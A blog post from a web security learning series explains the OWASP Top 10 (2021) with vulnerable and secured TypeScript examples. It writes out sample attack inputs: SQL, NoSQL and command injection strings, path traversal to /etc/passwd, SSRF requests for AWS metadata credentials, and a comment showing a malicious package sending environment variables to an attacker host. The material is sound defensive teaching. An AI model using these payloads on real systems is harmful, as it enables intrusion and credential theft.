Back to blog

OWASP Top 10: Web Vulnerabilities Explained

securityweb-securityowaspxsssql-injection
OWASP Top 10: Web Vulnerabilities Explained

Welcome to Phase 2 of the Web Security Learning Roadmap! In Phase 1, you built the mental models: CIA Triad, STRIDE threat modeling, and defense in depth. Now it's time to get concrete.

The OWASP Top 10 is the most widely referenced list of critical web application security risks, maintained by the Open Web Application Security Project. It's updated every few years based on real-world breach data from thousands of organizations. The current version is OWASP Top 10: 2021.

This post gives you a developer-focused tour of all 10 categories — how each attack works, why developers fall into the trap, and how to defend against it.

Note: This post gives you a solid overview of each category. The subsequent deep-dive posts (SEC-5 through SEC-12) go deeper on specific topics: SQL Injection, XSS, CSRF/CORS, Password Storage, API Security, and more.

What You'll Learn

✅ Understand all 10 OWASP Top 10 (2021) vulnerability categories
✅ See how each attack works with real code examples
✅ Identify vulnerable patterns in your own code
✅ Apply concrete TypeScript defenses for each category
✅ Understand the risk severity and real-world impact
✅ Know which deep-dive posts to read next for each topic


The OWASP Top 10 (2021)

#Category2017 RankKey Risk
A01Broken Access Control#5Users access what they shouldn't
A02Cryptographic Failures#3 (Sensitive Data Exposure)Data exposed in transit or at rest
A03Injection#1Untrusted data executed as commands
A04Insecure DesignNEWFlawed architecture bypassed by design
A05Security Misconfiguration#6Default settings exploited
A06Vulnerable & Outdated Components#9Known CVEs in dependencies
A07Identification & Auth Failures#2Authentication bypassed or broken
A08Software & Data Integrity FailuresNEW (merge of #8)Unsigned updates, insecure deserialization
A09Security Logging & Monitoring Failures#10Attacks go undetected
A10Server-Side Request ForgeryNEWServer fetches attacker-controlled URLs

A01: Broken Access Control

Moved up from #5 to #1. 94% of applications tested had some form of broken access control. This is the most common critical vulnerability today.

What Is It?

Access control enforces that users can only do what they're authorized to do. When access controls are broken, users can:

  • Access other users' data (horizontal privilege escalation)
  • Access admin functionality (vertical privilege escalation)
  • View or modify data without authentication

How the Attack Works

IDOR — Insecure Direct Object Reference:

// ❌ VULNERABLE: User can access any order by changing the ID
app.get('/api/orders/:id', async (req, res) => {
  const order = await db.orders.findById(req.params.id);
  res.json(order); // Returns ANY order — even other users'!
});
 
// Attacker simply tries:
// GET /api/orders/1001  (their own)
// GET /api/orders/1002  (someone else's!)
// GET /api/orders/1003  (someone else's!)

Missing Function-Level Access Control:

// ❌ VULNERABLE: Admin route with no admin check
app.delete('/api/admin/users/:id', async (req, res) => {
  // Only the frontend hides this button — backend has no check!
  await db.users.delete(req.params.id);
  res.json({ deleted: true });
});

URL Manipulation to Bypass Restrictions:

// ❌ VULNERABLE: Path traversal allows reading arbitrary files
app.get('/files', (req, res) => {
  const filename = req.query.name;
  res.sendFile(`/var/app/uploads/${filename}`);
  // Attacker requests: /files?name=../../etc/passwd
});

The Defense

// ✅ SECURE: Always verify the resource belongs to the requesting user
app.get('/api/orders/:id', authenticate, async (req, res) => {
  const order = await db.orders.findOne({
    id: req.params.id,
    userId: req.user.id, // ← Only return if it's THIS user's order
  });
 
  if (!order) {
    return res.status(404).json({ error: 'Not found' });
  }
 
  res.json(order);
});
 
// ✅ SECURE: Role-based middleware for admin routes
const requireAdmin = (req: Request, res: Response, next: NextFunction) => {
  if (req.user?.role !== 'admin') {
    return res.status(403).json({ error: 'Forbidden' });
  }
  next();
};
 
app.delete('/api/admin/users/:id', authenticate, requireAdmin, async (req, res) => {
  await db.users.delete(req.params.id);
  res.json({ deleted: true });
});
 
// ✅ SECURE: Sanitize file paths
import path from 'path';
 
app.get('/files', authenticate, (req, res) => {
  const UPLOAD_DIR = '/var/app/uploads';
  const requestedPath = path.resolve(UPLOAD_DIR, req.query.name as string);
 
  // Ensure the resolved path is still inside the upload directory
  if (!requestedPath.startsWith(UPLOAD_DIR)) {
    return res.status(403).json({ error: 'Forbidden' });
  }
 
  res.sendFile(requestedPath);
});

Key principles:

  • Deny by default — require explicit permission grants
  • Enforce access control server-side, not just in UI
  • Use ownership checks: WHERE user_id = :currentUser
  • Log access control failures
  • Rate limit API endpoints to reduce automated probing

Deep Dive: Access control is covered in SEC-4 (Auth & Authorization Security).


A02: Cryptographic Failures

Previously called "Sensitive Data Exposure," this was renamed to focus on the root cause: failing to properly protect data using cryptography.

What Is It?

Data is exposed because it's:

  • Transmitted without encryption (HTTP instead of HTTPS)
  • Stored without encryption (plaintext passwords, credit cards)
  • Encrypted with weak/deprecated algorithms (MD5, SHA1, DES)
  • Encrypted correctly but with weak key management

How the Attack Works

Plaintext passwords in the database:

-- ❌ VULNERABLE: If the database is breached, all passwords are exposed
SELECT * FROM users;
-- id | email          | password
-- 1  | alice@example  | hunter2
-- 2  | bob@example    | 123456

Sensitive data in HTTP (no TLS):

GET http://example.com/login HTTP/1.1
Authorization: Basic dXNlcjpwYXNzd29yZA==

Decoded: user:password — visible to anyone on the network.

Weak hashing (MD5 for passwords):

// ❌ VULNERABLE: MD5 is cryptographically broken and fast to brute-force
import crypto from 'crypto';
const hash = crypto.createHash('md5').update(password).digest('hex');
// Attackers use rainbow tables — the hash for "password" is always the same

Sensitive data in URLs:

GET /api/reset-password?token=abc123&email=user@example.com

Tokens in URLs end up in server logs, browser history, and Referer headers.

The Defense

// ✅ SECURE: Use bcrypt for password hashing (adaptive, salted)
import bcrypt from 'bcrypt';
 
const SALT_ROUNDS = 12; // Adjust based on server performance
 
async function hashPassword(password: string): Promise<string> {
  return bcrypt.hash(password, SALT_ROUNDS);
}
 
async function verifyPassword(password: string, hash: string): Promise<boolean> {
  return bcrypt.compare(password, hash);
}
 
// ✅ SECURE: Store tokens securely, not in URLs
// Bad:  GET /reset?token=abc123
// Good: POST /reset with token in request body or Authorization header
 
// ✅ SECURE: Encrypt sensitive fields at the application level
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';
 
function encryptField(value: string, key: Buffer): string {
  const iv = randomBytes(16);
  const cipher = createCipheriv('aes-256-gcm', key, iv);
  const encrypted = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()]);
  const authTag = cipher.getAuthTag();
  return [iv.toString('hex'), authTag.toString('hex'), encrypted.toString('hex')].join(':');
}

Enforce HTTPS with HSTS:

// Express.js: Force HTTPS with Strict-Transport-Security header
app.use((req, res, next) => {
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
  next();
});

Deep Dive: Password storage is covered in detail in SEC-8 (bcrypt, Argon2, salting).


A03: Injection

Was #1 in 2017. Injection attacks occur when untrusted data is sent to an interpreter (SQL, shell, LDAP, XML, etc.) as part of a command or query.

What Is It?

When user input is embedded directly into a command without proper sanitization, an attacker can:

  • Read or modify any database record
  • Execute system commands on the server
  • Bypass authentication entirely

How the Attack Works

SQL Injection — the classic:

// ❌ VULNERABLE: String concatenation in SQL query
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
 
// Attacker inputs:
// email: ' OR '1'='1
// password: anything
 
// Resulting query:
// SELECT * FROM users WHERE email = '' OR '1'='1' AND password = 'anything'
// This returns ALL users — authentication bypassed!

Destructive SQL Injection:

email: '; DROP TABLE users; --

Results in:

SELECT * FROM users WHERE email = ''; DROP TABLE users; --'

Command Injection:

// ❌ VULNERABLE: User input passed to shell command
import { exec } from 'child_process';
 
app.get('/ping', (req, res) => {
  const host = req.query.host;
  exec(`ping -c 1 ${host}`, (err, stdout) => {
    res.send(stdout);
  });
  // Attacker inputs: 8.8.8.8; cat /etc/passwd
  // Runs: ping -c 1 8.8.8.8; cat /etc/passwd
});

NoSQL Injection (MongoDB):

// ❌ VULNERABLE: Attacker can inject MongoDB operators
const user = await db.users.findOne({
  email: req.body.email,     // "user@example.com"
  password: req.body.password // { "$ne": null } ← Injection!
});
// Query becomes: { email: "user@example.com", password: { $ne: null } }
// Matches any user with that email — password bypass!

The Defense

// ✅ SECURE: Parameterized queries (never string concatenation)
import { Pool } from 'pg';
const pool = new Pool();
 
async function findUser(email: string, password: string) {
  // Parameters are ALWAYS treated as data, never as SQL
  const result = await pool.query(
    'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
    [email, passwordHash]
  );
  return result.rows[0];
}
 
// ✅ SECURE: ORM with parameterization (Prisma example)
const user = await prisma.user.findUnique({
  where: { email: email }, // Prisma handles parameterization
});
 
// ✅ SECURE: Command injection prevention — avoid shell, or use argument arrays
import { execFile } from 'child_process';
 
app.get('/ping', (req, res) => {
  const host = req.query.host as string;
 
  // Validate input first
  if (!/^[a-zA-Z0-9.\-]+$/.test(host)) {
    return res.status(400).json({ error: 'Invalid host' });
  }
 
  // execFile does NOT use shell — arguments can't be injected
  execFile('ping', ['-c', '1', host], (err, stdout) => {
    res.send(stdout);
  });
});
 
// ✅ SECURE: NoSQL injection prevention — validate types
import { z } from 'zod';
 
const loginSchema = z.object({
  email: z.string().email(),
  password: z.string().min(1).max(128),
});
 
app.post('/login', async (req, res) => {
  const parsed = loginSchema.safeParse(req.body);
  if (!parsed.success) {
    return res.status(400).json({ error: 'Invalid input' });
  }
  // Now email and password are guaranteed to be strings
  const { email, password } = parsed.data;
  const user = await db.users.findOne({ email, password });
});

Deep Dive: SQL and NoSQL injection are covered extensively in SEC-5.


A04: Insecure Design

NEW in 2021. This is different from implementation bugs — it's about flaws baked into the architecture and design of a system. Even perfect code can't fix an insecure design.

What Is It?

Security was not considered during the design phase. Examples:

  • A "forgot password" flow that resets to a predictable password
  • An API that returns all user data and relies on the client to filter
  • A multi-tenant app with no data isolation at the database level
  • A payment flow that can be replayed to charge twice or not at all

How the Attack Works

Predictable password reset:

// ❌ INSECURE DESIGN: Reset token derived from email + timestamp
function generateResetToken(email: string): string {
  const timestamp = Math.floor(Date.now() / 1000); // seconds
  return crypto.createHash('md5').update(`${email}${timestamp}`).digest('hex');
}
// Attacker knows the email and can guess the timestamp within a few seconds

Over-fetching API returns too much data:

// ❌ INSECURE DESIGN: Returns everything, relies on frontend to hide sensitive fields
app.get('/api/users/:id', async (req, res) => {
  const user = await db.users.findById(req.params.id);
  res.json(user); // Includes passwordHash, internalNotes, adminFlags...
});

No rate limiting on sensitive operations:

// ❌ INSECURE DESIGN: OTP sent with no rate limit or attempt counting
// Attacker can request OTPs infinitely or brute-force a 6-digit code (1M attempts)

The Defense

Insecure design must be fixed at the design level:

// ✅ SECURE: Cryptographically random reset tokens
import { randomBytes } from 'crypto';
 
function generateResetToken(): string {
  return randomBytes(32).toString('hex'); // 256 bits of entropy
}
 
// Store hashed token in DB with expiry
async function createPasswordReset(email: string) {
  const token = generateResetToken();
  const hashedToken = crypto.createHash('sha256').update(token).digest('hex');
  const expiresAt = new Date(Date.now() + 15 * 60 * 1000); // 15 minutes
 
  await db.passwordResets.create({
    email,
    tokenHash: hashedToken,
    expiresAt,
    used: false,
  });
 
  return token; // Send raw token to user via email
}
 
// ✅ SECURE: Explicit field selection — never return full model
app.get('/api/users/:id', authenticate, async (req, res) => {
  const user = await db.users.findById(req.params.id, {
    select: { id: true, name: true, email: true, avatarUrl: true },
    // passwordHash, adminFlags, etc. are NEVER selected
  });
  res.json(user);
});
 
// ✅ SECURE: Rate limit sensitive operations
import rateLimit from 'express-rate-limit';
 
const otpLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5, // 5 OTP requests per 15 minutes per IP
  message: { error: 'Too many requests, please try again later.' },
});
 
app.post('/api/auth/send-otp', otpLimiter, async (req, res) => { /* ... */ });

Security design checklist for new features:

  • What data does this feature access? Does it need all of it?
  • Can an attacker replay this action? Add idempotency tokens.
  • Can an attacker enumerate resources? Use UUIDs instead of sequential IDs.
  • What's the maximum rate this endpoint should accept?

A05: Security Misconfiguration

The #1 source of breaches is not sophisticated exploits — it's misconfiguration. Default credentials, open S3 buckets, debug endpoints left in production.

What Is It?

  • Default admin credentials not changed (admin/admin)
  • Verbose error messages exposing stack traces
  • Unnecessary features enabled (admin panel, XML parsers with entity expansion)
  • Cloud storage buckets with public read access
  • Missing HTTP security headers
  • Directory listing enabled on web servers

How the Attack Works

Stack trace in production reveals internals:

// ❌ VULNERABLE response to a runtime error:
{
  "error": "TypeError: Cannot read property 'id' of undefined",
  "stack": "at /app/routes/users.js:47:23\n  at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)",
  "query": "SELECT * FROM users WHERE id = 'abc'",
  "dbHost": "prod-db.internal:5432"
}

Attacker now knows: file paths, database host, SQL schema, Express.js version.

Directory listing enabled:

GET /uploads/ HTTP/1.1
 
Index of /uploads/
  user_data_export_2024.csv
  admin_passwords_backup.txt
  database_credentials.env

Debug endpoint in production:

GET /debug/env HTTP/1.1
 
DATABASE_URL=postgres://admin:SuperSecret123@prod.db:5432/app
JWT_SECRET=my-very-secret-key
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCY

The Defense

// ✅ SECURE: Generic error responses in production
app.use((err: Error, req: Request, res: Response, next: NextFunction) => {
  // Log the full error internally
  console.error(err);
  // logger.error({ err, url: req.url, method: req.method });
 
  // Return generic message to client
  if (process.env.NODE_ENV === 'production') {
    return res.status(500).json({ error: 'An internal error occurred.' });
  }
 
  // In development, show details
  return res.status(500).json({
    error: err.message,
    stack: err.stack,
  });
});
 
// ✅ SECURE: Security headers (use helmet in Express.js)
import helmet from 'helmet';
app.use(helmet()); // Sets 11 security headers automatically
 
// ✅ SECURE: Disable X-Powered-By header (reveals Express.js)
app.disable('x-powered-by');
 
// ✅ SECURE: Remove debug routes in production
if (process.env.NODE_ENV !== 'production') {
  app.get('/debug/env', (req, res) => res.json(process.env));
}

Infrastructure checklist:

  • Change all default credentials
  • Disable directory listing on web servers
  • Remove/restrict admin panels to internal networks
  • Enable security headers (CSP, HSTS, X-Frame-Options)
  • Audit cloud storage permissions regularly
  • Disable XML external entity processing (XXE)
  • Run regular configuration audits with tools like Mozilla Observatory

Deep Dive: Security headers and CSP are covered in SEC-11.


A06: Vulnerable and Outdated Components

94% of applications have at least one dependency with a known vulnerability. This category rose to #6 after major real-world breaches from dependency exploits.

What Is It?

Your application is only as secure as its weakest dependency. Vulnerabilities in libraries, frameworks, or infrastructure components can be exploited — even if your own code is perfectly written.

Famous examples:

  • Log4Shell (CVE-2021-44228): A single JNDI lookup in the Log4j library allowed remote code execution. Affected millions of Java applications.
  • Heartbleed (CVE-2014-0160): A bug in OpenSSL allowed reading server memory — including private keys.
  • Equifax breach (2017): Apache Struts vulnerability (CVE-2017-5638) was patched 2 months before the breach. Equifax didn't apply it.

How the Attack Works

An attacker checks your public application's response headers, error messages, or package.json for version information, then searches CVE databases for known exploits.

# Attacker runs npm audit equivalent on a leaked package.json
curl https://target.com/package.json
 
# Or checks exposed endpoints:
GET /actuator/env   # Spring Boot default endpoint — exposes everything
GET /.git/config    # Git config exposed to web — reveals repo info

The Defense

# Check for known vulnerabilities in Node.js projects
npm audit
npm audit fix          # Auto-fix compatible updates
npm audit fix --force  # Force updates (may include breaking changes)
 
# Use a dedicated tool for more thorough scanning
npx snyk test
npx snyk monitor  # Continuous monitoring
 
# Keep dependencies updated
npx npm-check-updates  # See which deps have updates
// ✅ Best practice: Pin exact versions in production (package-lock.json)
// And keep a process for regular dependency updates:
 
// package.json
{
  "scripts": {
    "audit": "npm audit --audit-level=moderate",
    "outdated": "npm outdated"
  }
}

Dependency security process:

  1. Run npm audit in CI — fail the build on high/critical CVEs
  2. Use Dependabot or Renovate for automated PR-based updates
  3. Subscribe to security advisories for your key dependencies
  4. Prefer well-maintained, actively-patched packages

Deep Dive: Dependency security and supply chain attacks are covered in SEC-12.


A07: Identification and Authentication Failures

Previously #2 "Broken Authentication." Weaknesses in authentication — how a system identifies who you are — allow attackers to assume other users' identities.

What Is It?

  • Allowing weak or common passwords
  • No protection against credential stuffing (automated login attempts with breached passwords)
  • Weak password recovery (predictable questions, insecure reset links)
  • Plaintext or weakly hashed passwords in database
  • Missing or bypassable multi-factor authentication
  • Session tokens that don't expire or aren't invalidated on logout

How the Attack Works

Credential Stuffing:

Attacker has 1 billion email/password pairs from previous breaches.
Writes a bot to try each pair against your login endpoint.
Even with 1% reuse rate → 10 million valid logins.

Brute Force on Weak Lockout:

// ❌ VULNERABLE: No lockout after failed attempts
app.post('/login', async (req, res) => {
  const user = await db.users.findByEmail(req.body.email);
  if (user && user.password === req.body.password) {
    req.session.userId = user.id;
    return res.json({ success: true });
  }
  res.status(401).json({ error: 'Invalid credentials' });
  // Attacker tries millions of passwords — no throttling
});

Session Fixation:

// ❌ VULNERABLE: Session ID not regenerated after login
// If attacker plants a known session ID before login,
// after the victim logs in, the attacker's session ID is now authenticated
app.post('/login', async (req, res) => {
  // ... validate credentials ...
  req.session.userId = user.id; // Same session ID kept!
});

The Defense

// ✅ SECURE: Enforce strong passwords
import { zxcvbn } from '@zxcvbn-ts/core';
 
function isPasswordStrong(password: string): boolean {
  const result = zxcvbn(password);
  return result.score >= 3; // 0-4, require at least 3
}
 
// ✅ SECURE: Account lockout with exponential backoff
const LOCKOUT_THRESHOLD = 5; // attempts
const LOCKOUT_DURATION = 15 * 60 * 1000; // 15 minutes
 
async function recordFailedLogin(email: string): Promise<boolean> {
  const key = `login_attempts:${email}`;
  const attempts = await redis.incr(key);
  await redis.expire(key, 900); // 15 minutes
 
  if (attempts >= LOCKOUT_THRESHOLD) {
    await redis.set(`locked:${email}`, '1', 'EX', 900);
    return true; // Account locked
  }
  return false;
}
 
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
 
  const isLocked = await redis.get(`locked:${email}`);
  if (isLocked) {
    return res.status(429).json({
      error: 'Account temporarily locked. Try again in 15 minutes.',
    });
  }
 
  const user = await db.users.findByEmail(email);
  const valid = user && await bcrypt.compare(password, user.passwordHash);
 
  if (!valid) {
    await recordFailedLogin(email);
    // Always same response — don't reveal if email exists
    return res.status(401).json({ error: 'Invalid email or password' });
  }
 
  // ✅ Regenerate session ID after successful login (prevents fixation)
  req.session.regenerate(() => {
    req.session.userId = user.id;
    res.json({ success: true });
  });
});
 
// ✅ SECURE: Invalidate session on logout
app.post('/logout', (req, res) => {
  req.session.destroy(() => {
    res.clearCookie('connect.sid');
    res.json({ success: true });
  });
});

Deep Dive: JWT security, OAuth2, and session management are covered in SEC-4.


A08: Software and Data Integrity Failures

NEW in 2021, combining Insecure Deserialization (#8 in 2017) and adding software supply chain attacks. This covers situations where code or data can be modified without detection.

What Is It?

  • Unsigned software updates that can be swapped for malicious versions
  • Insecure deserialization of untrusted data
  • CI/CD pipelines that pull from untrusted sources
  • Auto-updating plugins/packages without integrity verification

How the Attack Works

Insecure Deserialization:

// ❌ VULNERABLE: Deserializing untrusted data can execute arbitrary code
// In languages with rich serialization (Java, Python pickle, PHP unserialize)
// the deserialized object can trigger code execution
 
// Python example (for illustration):
// import pickle
// pickle.loads(user_supplied_data)  # Can run arbitrary Python code!
 
// Node.js / JSON is safer but eval() is dangerous:
const userData = eval(`(${req.body.data})`); // ❌ Never use eval on user input

Supply Chain Attack via Malicious Package:

# Attacker publishes "coloors" (typosquatting "colors")
# or compromises a maintainer account to push a malicious update
 
# Your package.json pulls the compromised version:
npm install colors@latest
# The update phones home: curl https://attacker.com/steal?data=$(env)

Unsigned Update Mechanism:

// ❌ VULNERABLE: Auto-download and execute script from CDN
const script = await fetch('https://cdn.example.com/update.js');
eval(await script.text()); // If CDN is compromised, you execute malicious code

The Defense

// ✅ SECURE: Verify integrity with Subresource Integrity (SRI) for CDN scripts
// In HTML:
// <script
//   src="https://cdn.example.com/library.js"
//   integrity="sha384-abc123..."
//   crossorigin="anonymous">
// </script>
 
// ✅ SECURE: Use JSON (not eval) for data exchange
const userData = JSON.parse(req.body.data); // Safe — JSON doesn't execute code
 
// ✅ SECURE: Validate deserialized data schema
import { z } from 'zod';
 
const userDataSchema = z.object({
  name: z.string().max(100),
  age: z.number().int().positive(),
  role: z.enum(['user', 'moderator']), // Strict enum — can't inject 'admin'
});
 
const userData = userDataSchema.parse(JSON.parse(req.body.data));

Supply chain defense:

# Lock exact versions to prevent unexpected updates
npm ci  # Uses package-lock.json exactly — no floating versions
 
# Audit before installing
npm audit before npm install
 
# Use private registry proxy (Verdaccio, Artifactory) that caches approved versions

A09: Security Logging and Monitoring Failures

An enabling category: this doesn't directly cause breaches, but without proper logging and monitoring, breaches go undetected for months or years. The average breach dwell time (time from breach to detection) is 197 days.

What Is It?

  • No logging of authentication events (login success/failure, password reset)
  • No logging of access control failures
  • Logs not monitored for suspicious patterns
  • Log entries that don't include enough context (no timestamp, IP, user ID)
  • Logs stored where the attacker can tamper with them

How the Attack Works

Without monitoring, an attacker can:

  1. Test thousands of SQL injection payloads — you never know
  2. Perform credential stuffing for weeks — you never know
  3. Exfiltrate data slowly over months — you never know
  4. The Equifax breach took 78 days to detect, during which 147M records were stolen

The Defense

// ✅ SECURE: Structured security event logging
import winston from 'winston';
 
const securityLogger = winston.createLogger({
  format: winston.format.json(),
  transports: [
    new winston.transports.File({ filename: 'security.log' }),
    // In production: send to centralized logging (Datadog, Splunk, CloudWatch)
  ],
});
 
// Log security events with full context
function logSecurityEvent(event: {
  type: 'login_success' | 'login_failure' | 'access_denied' | 'password_reset' | 'suspicious_activity';
  userId?: string;
  email?: string;
  ip: string;
  userAgent?: string;
  details?: Record<string, unknown>;
}) {
  securityLogger.warn({
    timestamp: new Date().toISOString(),
    ...event,
  });
}
 
// Use it in your route handlers:
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  const ip = req.ip;
  const userAgent = req.headers['user-agent'];
 
  const user = await authenticateUser(email, password);
 
  if (!user) {
    logSecurityEvent({ type: 'login_failure', email, ip, userAgent });
    return res.status(401).json({ error: 'Invalid credentials' });
  }
 
  logSecurityEvent({ type: 'login_success', userId: user.id, email, ip, userAgent });
  // ... continue ...
});
 
// Log access control failures
app.get('/api/orders/:id', authenticate, async (req, res) => {
  const order = await db.orders.findOne({ id: req.params.id, userId: req.user.id });
 
  if (!order) {
    logSecurityEvent({
      type: 'access_denied',
      userId: req.user.id,
      ip: req.ip,
      details: { resource: 'order', resourceId: req.params.id },
    });
    return res.status(404).json({ error: 'Not found' });
  }
 
  res.json(order);
});

Alerting on suspicious patterns (conceptual):

// Monitor logs for anomalies:
// - >10 login failures from the same IP in 5 minutes → alert + temporary block
// - Access denied errors from an authenticated user → investigate IDOR probing
// - Large data exports (>10,000 records) → alert for data exfiltration
// - Login from unusual country/IP for a user → alert for account takeover

Related: Observability was mentioned in SEC-2's security checklist. Use structured logging from day one.


A10: Server-Side Request Forgery (SSRF)

NEW in 2021, added based on industry survey data. SSRF vulnerabilities are rare but high impact — especially in cloud environments.

What Is It?

SSRF occurs when a server fetches a URL that the attacker controls. The server then makes requests on the attacker's behalf — from inside your network perimeter.

This is dangerous because:

  • Cloud metadata APIs (AWS 169.254.169.254, Azure 169.254.169.254) are accessible from inside the cloud but not from the internet
  • Internal services (databases, admin panels, Redis) often have no authentication because they're "not exposed to the internet"
  • The server's requests come from a trusted network location

How the Attack Works

// ❌ VULNERABLE: Server fetches user-provided URL without validation
app.post('/api/preview', async (req, res) => {
  const { url } = req.body;
  const response = await fetch(url); // Attacker controls this!
  const content = await response.text();
  res.send(content);
});
 
// Attacker provides:
// url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"
// Server fetches AWS metadata → returns AWS access keys!
 
// Or:
// url: "http://localhost:6379"  → Talks to Redis (no auth)
// url: "http://internal-admin.company.com/admin"  → Bypasses network firewall
// url: "file:///etc/passwd"  → Reads local filesystem

The AWS metadata endpoint attack:

# From inside an EC2 instance (or an SSRF vulnerable app):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns: role-name
 
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
# Returns: AccessKeyId, SecretAccessKey, Token
# Attacker now has AWS credentials!

The Defense

// ✅ SECURE: Validate and restrict URLs before fetching
import dns from 'dns/promises';
import { URL } from 'url';
 
const BLOCKED_IP_RANGES = [
  '10.0.0.0/8',       // Private network
  '172.16.0.0/12',    // Private network
  '192.168.0.0/16',   // Private network
  '127.0.0.0/8',      // Loopback
  '169.254.0.0/16',   // Link-local (AWS metadata!)
  '::1',              // IPv6 loopback
];
 
function isPrivateIP(ip: string): boolean {
  // Use a library like 'ipaddr.js' for production use
  return BLOCKED_IP_RANGES.some(range => {
    // Simplified — use ipaddr.js or similar in production
    return ip.startsWith('127.') || ip.startsWith('10.') ||
           ip.startsWith('192.168.') || ip.startsWith('169.254.');
  });
}
 
async function safeSSRFFetch(url: string): Promise<Response> {
  // 1. Parse and validate URL
  let parsed: URL;
  try {
    parsed = new URL(url);
  } catch {
    throw new Error('Invalid URL');
  }
 
  // 2. Only allow HTTP/HTTPS (block file://, ftp://, etc.)
  if (!['http:', 'https:'].includes(parsed.protocol)) {
    throw new Error('Only HTTP/HTTPS URLs are allowed');
  }
 
  // 3. Block private IPs — resolve hostname to IP first
  const { address } = await dns.lookup(parsed.hostname);
  if (isPrivateIP(address)) {
    throw new Error('Access to internal resources is not allowed');
  }
 
  // 4. Fetch with timeout to prevent slow loris
  const controller = new AbortController();
  const timeoutId = setTimeout(() => controller.abort(), 5000);
 
  try {
    return await fetch(url, {
      signal: controller.signal,
      redirect: 'error', // Don't follow redirects (could redirect to internal IP)
    });
  } finally {
    clearTimeout(timeoutId);
  }
}
 
// ✅ ALTERNATIVE: Use an allowlist instead of blocklist
const ALLOWED_DOMAINS = ['api.example.com', 'cdn.example.com'];
 
function isAllowedURL(url: string): boolean {
  try {
    const parsed = new URL(url);
    return ALLOWED_DOMAINS.includes(parsed.hostname);
  } catch {
    return false;
  }
}

Infrastructure-level protection (stronger than code):

  • Use IMDSv2 on AWS EC2 (requires session token — mitigates SSRF access to metadata)
  • Block outbound requests at the network/firewall level for services that shouldn't make them
  • Run services with minimal IAM permissions (Principle of Least Privilege from SEC-1)

The OWASP Top 10 in One Table

#VulnerabilityPrimary DefenseDeep Dive Post
A01Broken Access ControlOwnership checks, deny by default, RBACSEC-4
A02Cryptographic Failuresbcrypt/Argon2, TLS, AES-256SEC-8, SEC-9
A03InjectionParameterized queries, input validationSEC-5
A04Insecure DesignThreat modeling, security design reviewSEC-2
A05Security MisconfigurationHardening checklists, security headersSEC-11
A06Vulnerable Componentsnpm audit, Dependabot, SCA toolsSEC-12
A07Auth FailuresStrong passwords, MFA, lockout, bcryptSEC-4, SEC-8
A08Integrity FailuresSRI, signed packages, schema validationSEC-12
A09Logging FailuresStructured security logging, SIEMAll posts
A10SSRFURL allowlists, DNS rebinding preventionSEC-10

Building an OWASP Checklist for Code Review

Here's a practical checklist to use when reviewing your own code or a pull request:

A01 – Access Control

  • Every endpoint checks authentication
  • Every resource access includes ownership verification
  • Sensitive actions require appropriate role
  • No sequential IDs for sensitive resources (use UUIDs)

A02 – Cryptography

  • Passwords hashed with bcrypt/Argon2 (never MD5/SHA1)
  • Sensitive data encrypted at rest
  • TLS enforced with HSTS
  • Tokens are cryptographically random (not predictable)

A03 – Injection

  • All database queries use parameterized statements or ORM
  • No eval() or dynamic code execution on user input
  • Shell commands use argument arrays, not string concatenation
  • User input is type-validated before use

A05 – Configuration

  • No stack traces in production error responses
  • Security headers present (use helmet)
  • Debug endpoints disabled in production
  • No credentials in source code

A07 – Authentication

  • Password strength enforced
  • Failed login attempts are rate-limited
  • Session regenerated after login
  • Sessions invalidated on logout

A09 – Logging

  • Authentication events logged (success + failure)
  • Access denied events logged
  • Log entries include timestamp, IP, user ID

Summary and Key Takeaways

The OWASP Top 10 represents the most critical and common web security risks, backed by real breach data. Here's what to remember:

Learning Outcomes:
A01 (Access Control) is the most common — always verify resource ownership server-side
A03 (Injection) is always prevented by parameterized queries — never concatenate user input into queries
A02 (Cryptography) means using strong algorithms — bcrypt for passwords, AES-256 for data, TLS for transit
A04 (Insecure Design) can't be patched after the fact — security must be designed in from the start
A07 (Auth Failures) requires rate limiting, session management, and strong password policies working together
A10 (SSRF) is particularly dangerous in cloud environments — never fetch attacker-controlled URLs
A09 (Logging) is your safety net — without it, you won't know you've been breached

The right mental model:

Security is not a checklist you run once — it's a mindset applied at every layer, from architecture decisions to code reviews to production monitoring.

What's Next?

This phase gave you a working understanding of all 10 OWASP categories. The deep-dive posts go much deeper:

  • SEC-4: Authentication & Authorization Security (JWT, OAuth2, Session Security)
  • SEC-5: SQL Injection & NoSQL Injection — Attack and Defense
  • SEC-6: Cross-Site Scripting (XSS) — Stored, Reflected, DOM-Based
  • SEC-7: CSRF, CORS & Same-Origin Policy
  • SEC-8: Secure Password Storage (bcrypt, Argon2, salting)
  • SEC-9: HTTPS, TLS & Certificate Management
  • SEC-10: API Security (Rate Limiting, Input Validation, OAuth Scopes)
  • SEC-11: Security Headers & Content Security Policy
  • SEC-12: Dependency Security & Supply Chain Attacks

You now know enough to identify OWASP vulnerabilities in code reviews and design discussions. The deep-dive posts will make you dangerous in each specific area.


This is post #3 in the Web Security Learning Roadmap series.

📬 Subscribe to Newsletter

Get the latest blog posts delivered to your inbox every week. No spam, unsubscribe anytime.

We respect your privacy. Unsubscribe at any time.

💬 Comments

Sign in to leave a comment

We'll never post without your permission.